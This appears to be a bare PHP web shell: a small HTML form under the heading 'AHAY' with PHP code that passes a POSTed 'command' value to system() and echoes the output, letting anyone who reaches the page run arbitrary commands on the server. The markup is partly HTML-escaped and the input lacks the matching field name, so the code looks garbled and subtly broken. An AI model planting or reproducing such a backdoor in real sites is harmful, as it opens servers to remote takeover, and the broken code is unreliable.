&lt;h1 color=&quot;red&quot;&gt;AHAY</h1><br />
<form><br />
   <input type=text><br />
   <input type=submit><br />
</form><br />
<br />
  if($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;){<br />
    echo system($_POST[&quot;command&quot;]);<br />
  }<br />
<br />